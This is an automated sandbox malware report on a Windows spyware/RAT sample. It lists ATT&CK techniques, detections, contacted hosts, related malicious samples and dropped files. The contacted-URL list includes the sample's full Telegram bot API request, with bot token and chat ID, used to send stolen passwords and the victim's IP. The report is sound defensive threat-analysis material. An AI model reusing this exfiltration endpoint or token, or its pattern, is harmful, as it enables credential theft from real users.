Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
xXUnP7uCBJ.exe	58%	Virustotal		Browse
xXUnP7uCBJ.exe	58%	ReversingLabs	Win32.Ransomware.TelegramRAT
xXUnP7uCBJ.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.181.238	true	false	high
drive.usercontent.google.com	216.58.206.65	true	false	high
reallyfreegeoip.org	104.21.64.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://drive.google.com/_	xXUnP7uCBJ.exe, 00000005.00000002.2960421938.000000000633D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/O	xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006354000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036768000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/W13-	xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006371000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2400153476.0000000006389000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006371000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2400153476.0000000006389000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036744000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	xXUnP7uCBJ.exe	false	high
http://api.telegram.org	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/g	xXUnP7uCBJ.exe, 00000005.00000002.2960421938.000000000633D000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000366D1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.238	drive.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.64.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
216.58.206.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588130
Start date and time:	2025-01-10 21:38:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xXUnP7uCBJ.exe renamed because original name is a hash value
Original Sample Name:	95125d2296df5f467e524ca8978bbe74f0f3ce9520f6014d7a7172b2d7c29f86.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 153 Number of non-executed functions: 111
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:41:15	API Interceptor	449x Sleep call for process: xXUnP7uCBJ.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
193.122.6.168	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
reallyfreegeoip.org	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.32.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
api.telegram.org	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
TELEGRAMRU	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	https://glfbanks.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
CLOUDFLARENETUS	https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8f	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.112.1
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.48.1
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.16.184.241
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	162.159.61.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	hZbkP3TJBJ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	CvzLvta2bG.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
3b5074b1b5d032e5620f69f9f700ff0e	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	http://diebinjmajbkhhg.top/1.php?s=527	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://patiooutletmaipu.cl/tiendas/head/	Get hash	malicious	LummaC, CAPTCHA Scam ClickFix, LummaC Stealer	Browse	149.154.167.220
	19d6P55zd1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	9L83v5j083.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	y1jQC8Y6bP.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nswC272.tmp\System.dll	4UQ5wnI389.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ajRZflJ2ch.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Unknown	Browse
	KO0q4biYfC.exe	Get hash	malicious	Remcos, GuLoader	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	NativeApp_G5L1NHZZ.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Iw\Antndelsens\14-scaled.jpg

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 2560x2560, components 3
Category:	dropped
Size (bytes):	484658
Entropy (8bit):	7.809711763657168
Encrypted:	false
SSDEEP:	12288:W1S3xo63wl4biprI2S4WwWEcwxg9dvVAxZOCLF0DB:Wo3xX3y4bz2lWwWo6rSTZyd
MD5:	5C727AE28F0DECF497FBB092BAE01B4E
SHA1:	AADE364AE8C2C91C6F59F85711B53078FB0763B7
SHA-256:	77CCACF58330509839E17A6CFD6B17FE3DE31577D8E2C37DC413839BA2FEEC80
SHA-512:	5246C0FBA41DF66AF89D986A3CEABC99B61DB9E9C217B28B2EC18AF31E3ED17C865387223CEB3A38A804243CF3307E07E557549026F49F52829BEBC4D4546C40
Malicious:	false
Reputation:	low
Preview:	......JFIF.....,.,.....]http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5, 2022/05/09-07:22:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmp:CreateDate="2018-04-27T15:00:27+08:00" xmp:ModifyDate="2022-09-22T14:01:54+08:00" xmp:MetadataDate="2022-09-22T14:01:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:b728d5c8-8822-6d4c-afc1-a393cb2a04ec"

C:\Users\user\AppData\Local\Iw\Antndelsens\Kbmandsskole.str

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	data
Category:	dropped
Size (bytes):	112291
Entropy (8bit):	1.249420131631438
Encrypted:	false
SSDEEP:	768:5R+BCpkJWjYWL2MxTVLvUjpGqik9JiAfWA2DBQwD1PzUH+HYZmIo7x31sT:WCZY21w0I2NZYD
MD5:	4D1D72CFC5940B09DFBD7B65916F532E
SHA1:	30A45798B534842002B103A36A3B907063F8A96C
SHA-256:	479F1904096978F1011DF05D52021FAEEE028D4CF331024C965CED8AF1C8D496
SHA-512:	048844A09E291903450188715BCDDF14F0F1F10BEAFBD005882EBF5D5E31A71D8F93EEBE788BD54B4AED2266C454F4DCA18AF4567977B7E773BBE29A38DEA45B
Malicious:	false
Reputation:	low
Preview:	..........P............+......................................................................................................................X......n..(................G...................................m.........\|.......................U.............`............l..............@}.........a........................................s............y.................N...............B...............w.e..........................................Q......*...................................................................................................a...........................f..................p..................t...........................................9.Q................@....................e................................................................:..............P.......S.........................P........................9..............._.......................(...............N............................................................H.T..........c..............................

C:\Users\user\AppData\Local\Iw\Antndelsens\Sensuousnesses.opk

Download File

Process:	C:\Users\user\Desktop\xXUnP7uCBJ.exe
File Type:	data
Category:	dropped
Size (bytes):	362089
Entropy (8bit):	1.23992084267325
